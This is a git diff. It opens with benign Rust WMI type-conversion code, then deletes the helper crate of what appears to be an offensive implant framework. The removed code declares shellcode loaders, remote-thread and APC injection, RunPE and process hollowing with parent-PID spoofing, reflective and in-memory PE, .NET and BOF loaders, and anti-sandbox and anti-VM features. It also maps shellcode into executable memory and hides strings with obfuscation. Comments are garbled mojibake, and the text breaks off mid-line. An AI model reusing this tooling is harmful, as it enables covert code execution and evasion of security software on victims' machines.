} else { + return Err(WMIError::ConvertVariantError(format!( + "A boolean Variant cannot be turned into a CIMTYPE {:?}", + cim_type, + ))); + } + } + Variant::String(s) => match cim_type { + Wmi::CIM_STRING | Wmi::CIM_CHAR16 => Variant::String(s), + Wmi::CIM_REAL64 => Variant::R8(s.parse()?), + Wmi::CIM_REAL32 => Variant::R4(s.parse()?), + Wmi::CIM_UINT64 => Variant::UI8(s.parse()?), + Wmi::CIM_SINT64 => Variant::I8(s.parse()?), + Wmi::CIM_UINT32 => Variant::UI4(s.parse()?), + Wmi::CIM_SINT32 => Variant::I4(s.parse()?), + Wmi::CIM_UINT16 => Variant::UI2(s.parse()?), + Wmi::CIM_SINT16 => Variant::I2(s.parse()?), + Wmi::CIM_UINT8 => Variant::UI1(s.parse()?), + Wmi::CIM_SINT8 => Variant::I1(s.parse()?), + _ => Variant::String(s), + }, + Variant::Array(variants) => { + let converted_variants = variants + .into_iter() + .map(|variant| variant.convert_into_cim_type(cim_type)) + .collect::, WMIError>>()?; + + Variant::Array(converted_variants) + } + Variant::Unknown(u) => { + if cim_type == Wmi::CIM_OBJECT { + Variant::Object(u.to_wbem_class_obj()?) + } else { + return Err(WMIError::ConvertVariantError(format!( + "A unknown Variant cannot be turned into a CIMTYPE {:?}", + cim_type, + ))); + } + } + Variant::Object(o) => Variant::Object(o), + }; + + Ok(converted_variant) + } +} + +/// A wrapper around the [`IUnknown`] interface. +#[repr(transparent)] +#[derive(Debug, PartialEq, Eq)] +pub struct IUnknownWrapper { + inner: IUnknown, +} + +impl IUnknownWrapper { + pub fn new(ptr: IUnknown) -> Self { + IUnknownWrapper { inner: ptr } + } + + pub fn to_wbem_class_obj(&self) -> WMIResult { + Ok(IWbemClassWrapper { + inner: self.inner.cast::()?, + }) + } +} + +macro_rules! impl_try_from_variant { + ($target_type:ty, $variant_type:ident) => { + impl TryFrom for $target_type { + type Error = WMIError; + + fn try_from(value: Variant) -> Result<$target_type, Self::Error> { + match value { + Variant::$variant_type(item) => Ok(item), + other => Err(WMIError::ConvertVariantError(format!( + "Variant {:?} cannot be turned into a {}", + &other, + stringify!($target_type) + ))), + } + } + } + }; +} + +impl_try_from_variant!(String, String); +impl_try_from_variant!(i8, I1); +impl_try_from_variant!(i16, I2); +impl_try_from_variant!(i32, I4); +impl_try_from_variant!(i64, I8); +impl_try_from_variant!(u8, UI1); +impl_try_from_variant!(u16, UI2); +impl_try_from_variant!(u32, UI4); +impl_try_from_variant!(u64, UI8); +impl_try_from_variant!(f32, R4); +impl_try_from_variant!(f64, R8); +impl_try_from_variant!(bool, Bool); diff --git a/malefic-helper/Cargo.toml b/malefic-helper/Cargo.toml deleted file mode 100644 index f6e33ec..0000000 --- a/malefic-helper/Cargo.toml +++ /dev/null @@ -1,95 +0,0 @@ -[package] -name = "malefic-helper" -version = "0.1.1" -edition = "2021" - - -[features] -default = ["Win_Inject_APC", "community", "source"] -community = [] -professional = [] -source = [] -prebuild = [] -sysinfo = [] -clr = [] -Inject = [] -Win_Inject_APC = ["Inject"] -Win_Inject_Asm = ["Inject"] -Win_Inject_Fiber = ["Inject"] -Win_Inject_Func = ["Inject"] -Win_Inject_Func_Pointer = ["Inject"] -Win_Inject_Process = ["Inject"] -Win_Inject_Thread = ["Inject"] - -anti = [] -anti_sandbox = ["anti"] -anti_vm = ["anti"] -#Linux_Inject_Asm = ["Inject"] -#Linux_Inject_Fiber = ["Inject"] -#Linux_Inject_Func = ["Inject"] -#Linux_Inject_Func_Pointer = ["Inject"] -#Linux_Inject_Process = ["Inject"] -#Linux_Inject_Thread = ["Inject"] -rem = [] -rem_static = ["rem"] -#rem_reflection = ["rem"] - -[dependencies] -anyhow = { workspace = true } -obfstr = { workspace = true } -strum = { workspace = true } -strum_macros = { workspace = true } -thiserror = { workspace = true } -sha2 = { workspace = true } -byteorder = { workspace = true } -num-traits = "0.2" -async-process = "2.3" - -[target.'cfg(target_os = "windows")'.dependencies] -detour = { git = "https://github.com/chainreactors/retour-rs", branch = "fix-nightly1.67.0-changes" } -wmi = { git = "https://github.com/chainreactors/wmi-rs", optional = true } - -[dependencies.windows] -version = "0.58.0" -features = [ - "Win32_Storage_FileSystem", - "Win32_Storage", - "Win32_System_IO", - "Win32_System_Threading", - "Win32_System_Memory", - "Win32_System_Diagnostics_ToolHelp", - "Win32_Foundation", - "Win32_Security", - "Win32_System_Com", - "Win32_System_Services", - "Win32_System_TaskScheduler", - "Win32_System_SystemServices", - "Win32_System_SystemInformation", - "Win32_System_Registry", - "Win32_System_Console", - "Win32_System_LibraryLoader", - "Win32_System_Pipes", - "Win32_System_Diagnostics_Debug", - "Win32_NetworkManagement_IpHelper", - "Win32_Networking_WinSock", - "Win32_System_ProcessStatus", - "Win32_System_WindowsProgramming", - "Win32_UI", "Wdk_System_Threading", "Wdk_System", - "Win32_UI_Shell", - "Win32_UI_WindowsAndMessaging", - "Win32_System_UserAccessLogging", - "Win32_System_StationsAndDesktops", - "Win32_System_Environment", - "Win32_NetworkManagement_Ndis", - "Win32_Networking_ActiveDirectory", - "Win32_NetworkManagement_NetManagement", -] - -[target.'cfg(unix)'.dependencies] -nix = "0.26" -libc = { workspace = true } -users = "0.11" -mac_address = "1.1" - -[build-dependencies] -bindgen = "0.72.1" diff --git a/malefic-helper/build.rs b/malefic-helper/build.rs deleted file mode 100644 index 0fbe1db..0000000 --- a/malefic-helper/build.rs +++ /dev/null @@ -1,261 +0,0 @@ -#![allow(dead_code)] -#![allow(unused_imports)] -use std::{env, path::PathBuf}; -use bindgen; - -struct LibraryConfig { - name: String, - supported_os: Vec<&'static str>, - supported_arch: Vec<&'static str>, - lib_name_format: String, - windows_deps: Vec<&'static str>, -} - -impl LibraryConfig { - fn new( - name: &str, - supported_os: Vec<&'static str>, - supported_arch: Vec<&'static str>, - lib_name_format: &str, - windows_deps: Vec<&'static str>, - ) -> Self { - Self { - name: name.to_string(), - supported_os, - supported_arch, - lib_name_format: lib_name_format.to_string(), - windows_deps, - } - } - - fn check_platform_support(&self, target_os: &str, target_arch: &str) -> Result<(), String> { - if !self.supported_arch.contains(&target_arch) { - return Err(format!( - "{} only supports architectures: {}", - self.name, - self.supported_arch.join(", ") - )); - } - - if !self.supported_os.contains(&target_os) { - return Err(format!( - "{} only supports operating systems: {}", - self.name, - self.supported_os.join(", ") - )); - } - - Ok(()) - } - - fn get_lib_path( - &self, - resources_path: &PathBuf, - target_os: &str, - target_arch: &str, - ) -> PathBuf { - let lib_name = self - .lib_name_format - .replace("{os}", target_os) - .replace("{arch}", target_arch); - resources_path.join(&lib_name) - } - - fn link_library( - &self, - resources_path: &PathBuf, - target_os: &str, - target_arch: &str, - ) -> Result<(), String> { - self.check_platform_support(target_os, target_arch)?; - - let lib_path = self.get_lib_path(resources_path, target_os, target_arch); - if !lib_path.exists() { - return Err(format!( - "Required library file not found: {}\n{} only supports {} on {}", - lib_path.display(), - self.name, - self.supported_os.join(", "), - self.supported_arch.join(", ") - )); - } - - // 设置库æœç´¢è·¯å¾„ - println!( - "cargo:rustc-link-search=native={}", - resources_path.display() - ); - - // 链接主库 - let formatted_name = self - .lib_name_format - .replace("{os}", target_os) - .replace("{arch}", target_arch); - - let lib_name = formatted_name - .strip_prefix("lib") - .and_then(|s| s.strip_suffix(".a")) - .unwrap_or(&formatted_name); - - println!("cargo:rustc-link-lib=static={}", lib_name); - - // Windows 特定ä¾èµ– - if target_os == "windows" { - for dep in &self.windows_deps { - println!("cargo:rustc-link-lib=dylib={}", dep); - } - } - - // è®¾ç½®é‡æ–°è¿è¡Œæ¡ä»¶ - println!("cargo:rerun-if-changed={}", lib_path.display()); - - Ok(()) - } -} - -fn main() { - // let os = env::var("CARGO_CFG_TARGET_OS").unwrap(); - - // match os.as_str() { - // "macos" => { - // // ç”Ÿæˆ libproc 绑定 - // let bindings = bindgen::builder() - // .header_contents("libproc_rs.h", r#" - // #include - // #include - // "#) - // .layout_tests(false) - // .clang_args(&[ - // "-x", - // "c++", - // "-I", - // "/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/", - // ]) - // // åªå…许必è¦çš„类型和函数 - // .allowlist_type("proc_fdinfo") - // .allowlist_type("proc_fileinfo") - // .allowlist_type("socket_fdinfo") - // .allowlist_type("socket_info") - // .allowlist_type("socket_info__bindgen_ty_1") - // .allowlist_type("in_sockinfo") - // .allowlist_type("in_sockinfo__bindgen_ty_1") - // .allowlist_type("in_sockinfo__bindgen_ty_2") - // .allowlist_type("tcp_sockinfo") - // .allowlist_type("in4in6_addr") - // .allowlist_type("in6_addr") - // .allowlist_type("in6_addr__bindgen_ty_1") - // .allowlist_function("proc_listpids") - // .allowlist_function("proc_pidinfo") - // .allowlist_function("proc_pidfdinfo") - // // 添加必è¦çš„å¸¸é‡ - // .allowlist_var("PROC_.*") - // .generate() - // .expect("Failed to build libproc bindings"); - - // let out_path = PathBuf::from(env::var("OUT_DIR").unwrap()); - // let bindings_path = out_path.join("libproc_bindings.rs"); - // bindings - // .write_to_file(&bindings_path) - // .expect("Couldn't write bindings!"); - - // //ä¿®å¤ bindgen 生æˆçš„éžæ³•语法:unsafe extern "C" - // let original = std::fs::read_to_string(&bindings_path).expect("read bindings failed"); - // let patched = original.replace("unsafe extern", "extern"); - // std::fs::write(&bindings_path, patched).expect("failed to patch bindings"); - // } - - #[cfg(feature = "rem_static")] - { - let resources_path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) - .parent() - .unwrap() - .join("resources"); - - let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap(); - let target_arch = match env::var("CARGO_CFG_TARGET_ARCH").unwrap().as_str() { - "x86_64" => "amd64", - _ => panic!("Unsupported architecture"), - }; - let rem_config = LibraryConfig::new( - "REM", - vec!["windows", "linux"], - vec!["amd64"], - "librem_community_{os}_{arch}.a", - vec!["ws2_32", "userenv"], - ); - - println!("{} {}",target_os, target_arch); - if let Err(e) = rem_config.link_library(&resources_path, &target_os, &target_arch) { - panic!("{}", e); - } - } - - #[cfg(feature = "prebuild")] - { - if env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" { - let bindings = bindgen::Builder::default() - .header("./malefic_win_kit.h") - .clang_arg("-Wno-unused-function") - .generate() - // .generate_functions_unsafe(false) - .expect("Unable to generate bindings"); - - bindings - .write_to_file("src/win/kit/bindings.rs") - .expect("Couldn't write bindings!"); - - let mut ollvm = ""; - - let (prefix, suffix, destination) = - match env::var("CARGO_CFG_TARGET_ENV").unwrap().as_str() { - "msvc" => ( - "malefic-win-kit-community-msvc", - ".lib", - "malefic_win_kit.lib", - ), - _ => { - let ollvm_flag_path = env::current_dir() - .unwrap() - .parent() - .unwrap() - .join("resources/ollvm-flags"); - if ollvm_flag_path.exists() { - ollvm = "-ollvm"; - } - ( - "libmalefic-win-kit-community-gnu", - ".a", - "libmalefic_win_kit.a", - ) - }, - }; - - let arch = if env::var("CARGO_CFG_TARGET_ARCH").unwrap() == "x86" { - "x32" - } else { - "x64" - }; - - let lib_name = format!("{prefix}-{arch}{ollvm}{suffix}"); - let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); - let source_path = env::current_dir() - .unwrap() - .parent() - .unwrap() - .join("resources") - .join(&lib_name); - - if !source_path.exists() { - panic!("Source file not found: {}", source_path.display()); - } - - let destination_path = out_dir.join(destination); - - std::fs::copy(&source_path, &destination_path) - .expect(&format!("Failed to copy file {}", source_path.display())); - - println!("cargo:rustc-link-search=native={}", out_dir.display()); - println!("cargo:rustc-link-lib=static=malefic_win_kit"); - } - } -} diff --git a/malefic-helper/malefic_win_kit.h b/malefic-helper/malefic_win_kit.h deleted file mode 100644 index fe0cc53..0000000 --- a/malefic-helper/malefic_win_kit.h +++ /dev/null @@ -1,206 +0,0 @@ -#ifndef MALEFIC_WIN_KIT_H -#define MALEFIC_WIN_KIT_H -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// 对应 Rust 中的 RawString -typedef struct RawString { - uint8_t *data; // 指å‘字符串缓冲区 - size_t len; // 实际长度 - size_t capacity; // 容é‡ï¼ˆä¸€èˆ¬ä¸Žå†…部分é…空间有关) -} RawString; - -// 对应 Rust 中 pub struct MaleficPipe -typedef struct MaleficPipe { - const void *read; - const void *write; -} MaleficPipe; - -// 对应 Rust 中 pub struct DarkModule -typedef struct DarkModule { - const void *module_base; -} DarkModule; - -// 函数定义 - -RawString ApcLoaderInline( - const uint8_t *bin, - size_t bin_len, - bool need_output -); - -RawString ApcLoaderSacriface( - const uint8_t *bin, - size_t bin_len, - char *sacrifice_commandline, - uint32_t ppid, - bool block_dll, - bool need_output -); - -RawString InjectRemoteThread( - const uint8_t *bin, - size_t bin_len, - uint32_t pid -); - -const void* MaleficLoadLibrary( - uint32_t flags, - const uint16_t *buffer, - const void *file_buffer, - size_t len, - const uint8_t *name -); - -const void* MaleficGetFuncAddrWithModuleBaseDefault( - const void *module_base, - const uint8_t *func_name, - size_t func_name_len -); - -RawString ReflectiveLoader( - const uint8_t *start_commandline, - size_t start_commandline_len, - const uint8_t *reflective_loader_name, - size_t reflective_loader_name_len, - const uint8_t *data, - size_t data_len, - const uint8_t *param, - size_t param_len, - uint32_t ppid, - bool block_dll, - uint32_t timeout, - bool is_need_output -); - -RawString InlinePE( - const uint8_t *bin, - size_t bin_size, - const uint16_t *magic, - const uint32_t *signature, - const uint8_t *commandline, - size_t commandline_len, - const uint8_t *entrypoint, - size_t entrypoint_len, - bool is_dll, - bool is_need_output, - uint32_t timeout, - uint32_t delay -); - -RawString RunPE( - const uint8_t *start_commandline, - size_t start_commandline_len, - const uint8_t *hijack_commandline, - size_t hijack_commandline_len, - const uint8_t *data, - size_t data_size, - const uint8_t *entrypoint, - size_t entrypoint_len, - const uint8_t *args, - size_t args_len, - bool is_x86, - uint32_t pid, - bool block_dll, - bool need_output -); - -RawString RunSacrifice( - uint8_t *application_name, - const uint8_t *start_commandline, - size_t start_commandline_len, - const uint8_t *hijack_commandline, - size_t hijack_commandline_len, - uint32_t parent_id, - bool need_output, - bool block_dll -); - -RawString MaleficExecAssembleInMemory( - const uint8_t *data, - size_t data_len, - const uint8_t *const *args, - size_t args_len -); - -RawString MaleficBofLoader( - const uint8_t *buffer, - size_t buffer_len, - const uint8_t *const *arguments, - size_t arguments_size, - const uint8_t *entrypoint_name -); - -uint8_t HijackCommandLine( - const uint8_t *commandline, - size_t commandline_len -); - -RawString MaleficPwshExecCommand( - const uint8_t *command, - size_t command_len -); - -const void* PELoader( - const void *handle, - const void *base_addr, - size_t size, - bool need_modify_magic, - bool need_modify_sign, - uint16_t magic, - uint32_t signature -); - -void UnloadPE(const void *module); - -RawString CLRVersion(void); - -void* MLoadLibraryA(const uint8_t *lpLibFileName); - -const void* MGetProcAddress(const void *module, const uint8_t *proc_name); - -void* MCreateThread( - void *thread_attributes, - uint32_t stack_size, - void *start_address, - void *parameter, - uint32_t creation_flags, - uint32_t *thread_id -); - -int32_t MNtCreateThreadEx( - void *thread_handle, - uint32_t desired_access, - void *object_attributes, - void *process_handle, - void *start_address, - void *start_parameter, - int32_t create_suspended, - uint32_t stack_zero_bits, - uint32_t size_of_stack_commit, - uint32_t size_of_stack_reserve, - void *attribute_list -); - -void* MGetCurrentProcess(void); - -bool MaleficMakePipe(void **read, void **write); - -const void* MaleficPipeRedirectStdOut(void *write); - -void MaleficPipeRepairedStdOut(const void *stdout_handle); - -const uint8_t* MaleficPipeRead(void *read_pipe); - -void SafeFreePipeData(const uint8_t *data); - -#ifdef __cplusplus -} -#endif - -#endif // MALEFIC_WIN_KIT_H diff --git a/malefic-helper/src/common/hot_modules.rs b/malefic-helper/src/common/hot_modules.rs deleted file mode 100644 index 27822b3..0000000 --- a/malefic-helper/src/common/hot_modules.rs +++ /dev/null @@ -1,155 +0,0 @@ -use core::{ffi::c_void, ptr::{null, null_mut}}; -use obfstr::obfstr; - -use crate::{ - debug, - CommonError::{self, ArgsError}, -}; - - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub unsafe fn get_function_address(module_base: *const c_void, function_name: &str) -> *const c_void { - use crate::win::kit::bindings::MaleficGetFuncAddrWithModuleBaseDefault; - - MaleficGetFuncAddrWithModuleBaseDefault( - module_base, - function_name.as_ptr(), - function_name.len(), - ) -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "source")] -pub unsafe fn get_function_address(module_base: *const c_void, function_name: &str) -> *const c_void { - use malefic_win_kit::dynamic::DynamicLibraryUtils::GetFuncAddrWithModuleBaseDefault; - GetFuncAddrWithModuleBaseDefault(module_base, function_name.as_bytes()) -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub unsafe fn load_module(bins: Vec, bundle: String) -> Result<*const c_void, CommonError> { - use crate::win::kit::bindings::PELoader; - use crate::win::kit::MaleficModule; - - if bins.is_empty() || bundle.is_empty() { - return Err(ArgsError(obfstr!("bins or bundle is empty :)").to_string())); - } - debug!("[+] load module {}, len: {}", bundle, bins.len()); - - let dark_module = PELoader( - null(), - bins.as_ptr() as *const c_void, - bins.len(), - false, // need_modify_magic - false, // need_modify_sign - 0, - 0 - ) as *const c_void; - if dark_module.is_null() { - return Err(ArgsError("dark module load failed!".to_string())); - } - let module_base = (*(dark_module as *const MaleficModule)).new_module; - let entry_point = (*(dark_module as *const MaleficModule)).entry_point; - if module_base.is_null() || entry_point.is_null() { - return Err(ArgsError("dark module module base / entry point is null!".to_string())); - } - let _ = core::mem::transmute::(entry_point as usize)( - module_base as _, - 1, // DLL_PROCESS_ATTACH - null_mut(), - ); - - Ok(dark_module) -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "source")] -pub unsafe fn load_module( - bins: Vec, - bundle: String, -) -> Result<*const malefic_win_kit::pe::PELoader::MaleficModule, CommonError> { - use malefic_win_kit::pe::PELoader::malefic_loader; - - use crate::{win::types::DllMain}; - - if bins.is_empty() || bundle.is_empty() { - return Err(ArgsError(obfstr!("bins or bundle is empty :)").to_string())); - } - debug!("[+] loading module: {} {}", bundle, bins.len()); - // let new_bundle = format!("{}{}", bundle, "\x00"); - let dark_module = malefic_loader( - null(), - bins.as_ptr() as _, - bins.len(), - &None, - &None, - ); - if dark_module.is_null() || (*dark_module).entry_point.is_null() { - return Err(ArgsError("dark module load failed!".to_string())); - } - debug!("[+] dark module loaded at {:x}, entry point: {:x}", (*dark_module).entry_point as usize, dark_module as usize); - let _ = core::mem::transmute::((*dark_module).entry_point as usize)( - dark_module as _, - 1, // DLL_PROCESS_ATTACH - null_mut(), - ); - Ok(dark_module) -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub unsafe fn unload_pe(module: *const c_void) { - use crate::win::kit::bindings::UnloadPE; - - if module.is_null() { - return; - } - UnloadPE(module); -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "source")] -pub unsafe fn unload_pe( - module: *const core::ffi::c_void, -) { - use malefic_win_kit::pe::PELoader::unload_pe; - - if module.is_null() { - return; - } - unload_pe(module as _); -} - - -#[cfg(target_os = "windows")] -pub unsafe fn call_fresh_modules(module: *const c_void) -> Option<*const c_void> { - #[cfg(feature = "prebuild")] - use crate::win::kit::MaleficModule; - #[cfg(feature = "source")] - use malefic_win_kit::pe::PELoader::MaleficModule; - let module: *const MaleficModule = module as _; - if module.is_null() { - return None; - } - if (*module).export_func.is_empty() { - return None; - } - for i in (*module).export_func.iter() { - if i.0 == obfstr!("register_modules") { - return Some(i.1 as *const c_void); - } - } - None - -} - -#[cfg(target_family = "unix")] -pub unsafe fn load_module(_bins: Vec, _bundle: String) -> Result<*const c_void, CommonError> { - todo!() -} - -#[cfg(target_family = "unix")] -pub unsafe fn call_fresh_modules(_module: *const c_void) -> Option<*const c_void> { - todo!() -} diff --git a/malefic-helper/src/common/loader.rs b/malefic-helper/src/common/loader.rs deleted file mode 100644 index e14e5b7..0000000 --- a/malefic-helper/src/common/loader.rs +++ /dev/null @@ -1,17 +0,0 @@ -#[cfg(any(target_os = "linux", target_os = "android"))] -use crate::linux::process; -#[cfg(target_os = "windows")] -use crate::win::loader; - -// use crate::common::memory::malloc_and_set_memory; -// pub fn loader(shellcode : Vec) { -// let memory = malloc_and_set_memory(shellcode); -// if memory.is_err() { -// return; -// } -// let memory = memory.unwrap(); -// -// let f: extern "C" fn() = unsafe { std::mem::transmute(memory.get_ptr()) }; -// f(); -// } - diff --git a/malefic-helper/src/common/memory.rs b/malefic-helper/src/common/memory.rs deleted file mode 100644 index 4747be1..0000000 --- a/malefic-helper/src/common/memory.rs +++ /dev/null @@ -1,227 +0,0 @@ -/* - MemManager just support Linux and Darwin :) - - For Windows, please use malefic-win-kit :_) -*/ - -use crate::CommonError; -use std::collections::BTreeMap; - -#[derive(Clone)] -pub struct MaleficMemManager { - mems: BTreeMap, - next_id: usize -} - -impl MaleficMemManager { - pub fn default() -> Self { - Self { - mems: BTreeMap::new(), - next_id: 0 - } - } - - pub unsafe fn alloc(&mut self, size: usize) -> Result { - let mem = MaleficChunk::new(size); - if mem.is_err() { - return Err(()); - } - let mem = mem.unwrap(); - let id = self.next_id; - self.next_id += 1; - self.mems.insert(id, mem); - return Ok(id); - } - - pub unsafe fn remove(&mut self, id: usize) -> Result<(), ()> { - if self.mems.contains_key(&id) { - let mut mem = self.mems.remove(&id).unwrap(); - let _ = mem.delete(); - return Ok(()); - } - return Err(()); - } - - pub unsafe fn dele(&mut self) { - let ids: Vec = self.mems.keys().cloned().collect(); - for id in ids { - let _ = self.remove(id); - } - } - - pub unsafe fn get(&self, id: usize) -> Option<&MaleficChunk> { - self.mems.get(&id) - } -} - - -#[allow(dead_code)] -#[derive(Clone, Copy)] -pub struct MaleficChunk { - ptr: *mut core::ffi::c_void, - size: usize, - handle: *const core::ffi::c_void -} - -pub fn malloc_and_set_memory(shellcode: Vec) -> Result { - let size = shellcode.len(); - - let memory = MaleficChunk::new(size); - if memory.is_err() { - return memory; - } - let memory = memory.unwrap(); - memory.set_mem(shellcode.as_ptr() as *const core::ffi::c_void); - let _ = memory.set_protect_exec()?; - return Ok(memory); -} - - -impl MaleficChunk { - pub fn get_ptr(&self) -> *mut core::ffi::c_void { - self.ptr - } - - pub fn get_size(&self) -> usize { - self.size - } - - pub fn new_fd(size: usize, fd : i64) -> Result{ - if fd.is_negative() || size.eq(&0) { - return Err(CommonError::AllocationFailed); - } - #[cfg(target_os = "linux")] - { - let ptr = unsafe { - libc::mmap(core::ptr::null_mut(), - size, - libc::PROT_READ | - libc::PROT_WRITE, - libc::MAP_PRIVATE, - fd as i32, - 0) - }; - if ptr == libc::MAP_FAILED { - return Err(CommonError::AllocationFailed); - } - return Ok(Self { ptr, size, handle: core::ptr::null() }) - } - #[cfg(target_os = "macos")] - { - todo!() - } - todo!() - } - - #[allow(unused_variables)] - pub fn new(size: usize) -> Result { - #[cfg(target_os = "linux")] - { - let ptr = unsafe { - libc::mmap(core::ptr::null_mut(), - size, - libc::PROT_READ | - libc::PROT_WRITE, - libc::MAP_PRIVATE | libc::MAP_ANON, - -1, - 0) - }; - if ptr == libc::MAP_FAILED { - return Err(CommonError::AllocationFailed); - } - return Ok(Self { ptr, size, handle: core::ptr::null() }) - } - #[cfg(target_os = "macos")] - { - todo!() - } - // #[cfg(target_os = "windows")] - // { - // unsafe { - // let ptr = - // windows::Win32::System::Memory::VirtualAlloc( - // None, - // size, - // windows::Win32::System::Memory::MEM_COMMIT | - // windows::Win32::System::Memory::MEM_RESERVE, - // windows::Win32::System::Memory::PAGE_READWRITE - // ); - // if ptr.is_null() { - // return Err(CommonError::AllocationFailed); - // } - // return Ok(Self { ptr, size, handle: core::ptr::null() }); - // } - // } - return Ok(Self { ptr: (core::ptr::null_mut()), size: (0) , handle: core::ptr::null()}) - - } - - #[allow(unused_variables)] - pub fn set_protect(&self, prot: u32) -> Result<(), CommonError> { - #[cfg(target_os = "linux")] - unsafe { - libc::mprotect(self.ptr, - self.size, - prot as libc::c_int); - } - // #[cfg(target_os = "windows")] - // unsafe { - // use windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS; - // let mut old_prot : PAGE_PROTECTION_FLAGS = windows::Win32::System::Memory::PAGE_READWRITE; - // windows::Win32::System::Memory::VirtualProtect( - // self.ptr, - // self.size, - // PAGE_PROTECTION_FLAGS(prot), - // &mut old_prot - // )? ; - // Ok(()) - // } - Ok(()) - } - - pub fn set_protect_exec(&self) -> Result<(), CommonError> { - #[cfg(target_os = "linux")] - unsafe { - libc::mprotect(self.ptr, - self.size, - libc::PROT_EXEC); - } - // #[cfg(target_os = "windows")] - // unsafe { - // use windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS; - // let mut old_prot : PAGE_PROTECTION_FLAGS = windows::Win32::System::Memory::PAGE_READWRITE; - // windows::Win32::System::Memory::VirtualProtect( - // self.ptr, - // self.size, - // windows::Win32::System::Memory::PAGE_EXECUTE, - // &mut old_prot)?; - // } - Ok(()) - } - - #[allow(unused_variables)] - pub fn delete(&mut self) -> Result<(), CommonError> { - #[cfg(target_os = "linux")] { - unsafe { - let ret = libc::munmap(self.ptr, self.size); - if ret < 0 { - return Err(CommonError::FreeFailed); - } - return Ok(()) - } - } - // #[cfg(target_os = "windows")] - // unsafe { - // windows::Win32::System::Memory::VirtualFree(self.ptr, self.size, windows::Win32::System::Memory::MEM_RELEASE)?; - // self.ptr = std::ptr::null_mut(); - // } - Ok(()) - } - - pub fn set_mem(&self, ptr: *const core::ffi::c_void) { - unsafe { - std::ptr::copy(ptr, self.ptr, self.size); - } - } - -} diff --git a/malefic-helper/src/common/mod.rs b/malefic-helper/src/common/mod.rs deleted file mode 100644 index ce5dea4..0000000 --- a/malefic-helper/src/common/mod.rs +++ /dev/null @@ -1,11 +0,0 @@ -pub mod filesys; -pub mod hot_modules; -// pub mod loader; -pub mod memory; -pub mod net; -pub mod process; -#[cfg(feature = "rem")] -pub mod rem; -pub mod sysinfo; -pub mod utils; -pub mod exec; \ No newline at end of file diff --git a/malefic-helper/src/common/net.rs b/malefic-helper/src/common/net.rs deleted file mode 100644 index 1eecd7e..0000000 --- a/malefic-helper/src/common/net.rs +++ /dev/null @@ -1,71 +0,0 @@ -use crate::{to_error, CommonError}; - -#[cfg(target_os = "macos")] -use crate::darwin::netstat; -#[cfg(target_os = "linux")] -use crate::linux::netstat; -#[cfg(target_os = "windows")] -use crate::win::netstat; - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct NetInterface { - pub index: u32, - pub name: String, - pub mac: String, - pub ips: Vec, -} - -pub fn get_network_interfaces() -> Result, CommonError> { - let interfaces = Vec::new(); - Ok(interfaces) -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct NetStat { - pub local_addr: String, - pub remote_addr: String, - pub protocol: String, - pub pid: String, - pub sk_state: String, -} - -pub fn get_netstat() -> Result, CommonError> { - let mut netstats = Vec::new(); - - let sockets = to_error!(netstat::get_sockets(true, true, true, true))?; - - for socket in sockets { - netstats.push(NetStat { - local_addr: socket.local_addr, - remote_addr: socket.remote_addr, - protocol: socket.protocol, - pid: socket.pid.to_string(), - sk_state: socket.state, - }); - } - - Ok(netstats) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_get_netstat() { - let result = get_netstat(); - assert!(result.is_ok(), "Should get netstat information"); - let netstats = result.unwrap(); - assert!(!netstats.is_empty(), "Should have some network connections"); - - for netstat in netstats { - assert!( - !netstat.local_addr.is_empty(), - "Local address should not be empty" - ); - assert!(!netstat.protocol.is_empty(), "Protocol should not be empty"); - } - } -} diff --git a/malefic-helper/src/common/rem/rem_reflection.rs b/malefic-helper/src/common/rem/rem_reflection.rs deleted file mode 100644 index ca49d21..0000000 --- a/malefic-helper/src/common/rem/rem_reflection.rs +++ /dev/null @@ -1,106 +0,0 @@ -use crate::common::hot_modules::{get_function_address, load_module}; -use std::sync::OnceLock; -use crate::common::rem::{RemApi, RemFunctions}; - -static INIT_STATE: OnceLock> = OnceLock::new(); -static REM_DLL: OnceLock> = OnceLock::new(); - -static mut REM_FUNCTIONS: RemFunctions = RemFunctions { - rem_dial: None, - memory_dial: None, - memory_read: None, - memory_write: None, - memory_close: None, - cleanup_agent: None, -}; - -pub struct RemReflection; - -impl RemReflection { - /// 加载REM DLLå¹¶åˆå§‹åŒ– - /// - /// # Arguments - /// * `dll_bytes` - REM DLLçš„å­—èŠ‚æ•°æ® - /// - /// # Returns - /// * `Result<(), String>` - æˆåŠŸè¿”å›žOk(()), å¤±è´¥è¿”å›žé”™è¯¯ä¿¡æ¯ - pub fn load_rem(dll_bytes: Vec) -> Result<(), String> { - if INIT_STATE.get().is_some() { - return Err("REM DLL already init".to_string()); - } - - // 设置DLLæ•°æ®å¹¶åˆå§‹åŒ–函数 - if REM_DLL.set(dll_bytes).is_err() { - return Err("Failed to set REM DLL data".to_string()); - } - - unsafe { Self::ensure_initialized() } - } - - unsafe fn ensure_initialized() -> Result<(), String> { - INIT_STATE - .get_or_init(|| Self::initialize_functions()) - .clone() - } - - unsafe fn initialize_functions() -> Result<(), String> { - let dll_bytes = REM_DLL - .get() - .ok_or("REM not initialize, please load rem.dll")?; - - let module = load_module(dll_bytes.clone(), String::from("rem")) - .map_err(|e| format!("Failed to load module: {:?}", e))?; - - if module.is_null() { - return Err("Failed to load module: module is null".to_string()); - } - - let module_base = module as *const _; - - // 获å–å„ä¸ªå‡½æ•°çš„åœ°å€ - let rem_dial_addr = get_function_address(module_base, "RemDial"); - if rem_dial_addr.is_null() { - return Err("Failed to get RemDial function".to_string()); - } - REM_FUNCTIONS.rem_dial = Some(std::mem::transmute(rem_dial_addr)); - - let memory_dial_addr = get_function_address(module_base, "MemoryDial"); - if memory_dial_addr.is_null() { - return 